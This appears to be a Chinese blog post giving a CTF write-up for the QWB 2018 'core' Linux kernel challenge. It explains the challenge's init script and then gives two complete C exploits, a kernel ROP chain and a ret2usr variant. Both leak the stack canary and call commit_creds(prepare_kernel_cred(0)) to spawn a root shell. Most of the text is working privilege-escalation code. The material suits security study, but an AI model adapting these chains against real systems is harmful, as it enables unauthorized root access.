kernel ROP
kernel ROP
借助qwb-2018 core
这道题目来熟悉一下,kernel rop
及ret2usr
首先看一下启动脚本
发现没有开什么保护,只开了一个kaslr
,为了方便调试我们在这里把它改成nokaslr
关闭即可。
再来看一下init
文件
看一下这个里面的几行命令是什么意思
1、mount
的作用是将分区挂到某个文件夹下,这样我们只要访问这个文件夹就相当于访问了那个分区。
2、下面的 chomd 666 /dev/ptmx 的意思是 /dev/ptmx 可读写但不可执行
3、cat /proc/kallsyms > /tmp/kallsyms
是将/proc/kallsyms
复制到/tmp/kallsyms
里
4、echo 1 > /proc/sys/kernel/kptr_restrict
的作用是使得普通用户无法从/proc/kallsyms
获取到函数的地址,这里给出权限描述:
但是上面已经将/proc/kallsyms
复制到/tmp/kallsyms
中,故对我们获取地址并没有什么影响,并且本题也并不一定要从这里获取地址。
5、下面几行是搭建网桥
6、insmod /core.ko
是指加载./core.ko
这个驱动,我们的kernel
题目中,漏洞一般都出现在驱动当中
7、setsid /bin/cttyhack setuidgid 1000 /bin/sh
是启动时给我们的权限是普通用户,一般为了方便调试我们可以把它替换为setsid /bin/cttyhack setuidgid 0 /bin/sh
,这样会方便我们查看qemu
里的一些地址。
8、umount
命令是手动卸载(分离)某个文件文件系统
9、poweroff -d 0 -f
的作用是强制关闭电源并且不把记录写进/var/log/wtmp
里
rop
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
size_t vmlinux_base, offset, commit_creds, prepare_kernel_cred;
size_t user_cs, user_ss, user_sp, user_rflags;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t rop[0x100] = {0};
size_t user_buf[8] = {0};
void save_status()
{
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
}
void get_shell()
{
if (getuid() == 0)
{
system("/bin/sh");
}
else
{
puts("[-] get shell error");
exit(1);
}
}
int find_symbols()
{
char buf[0x40]={0};
FILE *fd = fopen("/tmp/kallsyms","r");
if(fd == 0)
{
puts("[-] open /kallsyms error");
exit(0);
}
while(fgets(buf, 0x40, fd))
{
if(commit_creds && prepare_kernel_cred)
{
printf("[+] find commit_creds: %p\n", commit_creds);
printf("[+] find prepare_kernel_cred: %p\n", prepare_kernel_cred);
return 0;
}
if(strstr(buf, "commit_creds") && !commit_creds)
{
char ptr[0x20]={0};
strncpy(ptr, buf ,16);
sscanf(ptr, "%lx", &commit_creds);
}
if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
{
char ptr[0x20]={0};
strncpy(ptr, buf ,16);
sscanf(ptr, "%lx", &prepare_kernel_cred);
}
}
return 0;
}
void main()
{
save_status();
int i = 0;
int fd = open("/proc/core",2);
if(fd == 0)
{
puts("[-] open file error");
exit(0);
}
find_symbols();
vmlinux_base = commit_creds - 0x9c8e0;
size_t offset = vmlinux_base - 0xffffffff81000000;
ioctl(fd, 0x6677889C, 0x40);
ioctl(fd, 0x6677889B, user_buf);
for(i=0;i<8;i++)
printf("%d: %p\n", i, user_buf[i]);
size_t canary = user_buf[0];
printf("[+] find canary: %p", canary);
i = 8;
//commit_creds(prepare_kernel_cred(0))
rop[i++] = canary;
rop[i++] = 0; //rbp
rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret;
rop[i++] = 0;
rop[i++] = prepare_kernel_cred;
rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret;
rop[i++] = commit_creds;
rop[i++] = 0xffffffff811ae978 + offset; // mov rdi, rax; jmp rcx;
rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret;
rop[i++] = 0;
rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;
rop[i++] = (size_t)get_shell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
write(fd, rop, 0x100);
ioctl(fd, 0x6677889A, 0x100 | 0xFFFFFFFFFFFF0000);
}
ret2usr
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
size_t vmlinux_base, offset, commit_creds, prepare_kernel_cred;
size_t user_cs, user_ss, user_sp, user_rflags;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t rop[0x100] = {0};
size_t user_buf[8] = {0};
void save_status()
{
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
}
void get_shell()
{
if (getuid() == 0)
{
system("/bin/sh");
}
else
{
puts("[-] get shell error");
exit(1);
}
}
void get_root()
{
char* (*pkc)(int) = prepare_kernel_cred;
void (*cc)(char*) = commit_creds;
(*cc)((*pkc)(0));
}
int find_symbols()
{
char buf[0x40]={0};
FILE *fd = fopen("/tmp/kallsyms","r");
if(fd == 0)
{
puts("[-] open /kallsyms error");
exit(0);
}
while(fgets(buf, 0x40, fd))
{
if(commit_creds && prepare_kernel_cred)
{
printf("[+] find commit_creds: %p\n", commit_creds);
printf("[+] find prepare_kernel_cred: %p\n", prepare_kernel_cred);
return 0;
}
if(strstr(buf, "commit_creds") && !commit_creds)
{
char ptr[0x20]={0};
strncpy(ptr, buf ,16);
sscanf(ptr, "%lx", &commit_creds);
}
if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
{
char ptr[0x20]={0};
strncpy(ptr, buf ,16);
sscanf(ptr, "%lx", &prepare_kernel_cred);
}
}
return 0;
}
void main()
{
save_status();
int i = 0;
int fd = open("/proc/core",2);
if(fd == 0)
{
puts("[-] open file error");
exit(0);
}
find_symbols();
vmlinux_base = commit_creds - 0x9c8e0;
size_t offset = vmlinux_base - 0xffffffff81000000;
ioctl(fd, 0x6677889C, 0x40);
ioctl(fd, 0x6677889B, user_buf);
for(i=0;i<8;i++)
printf("%d: %p\n", i, user_buf[i]);
size_t canary = user_buf[0];
printf("[+] find canary: %p\n", canary);
i = 8;
//commit_creds(prepare_kernel_cred(0))
rop[i++] = canary;
rop[i++] = 0; //rbp
rop[i++] = (size_t)get_root;
rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret;
rop[i++] = 0;
rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;
rop[i++] = (size_t)get_shell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
puts("debug");
getchar();
write(fd, rop, 0x100);
getchar();
ioctl(fd, 0x6677889A, 0x100 | 0xFFFFFFFFFFFF0000);
}
本文来自博客园,作者:{狒猩橙},转载请注明原文链接:https://www.cnblogs.com/pwnfeifei/p/15998437.html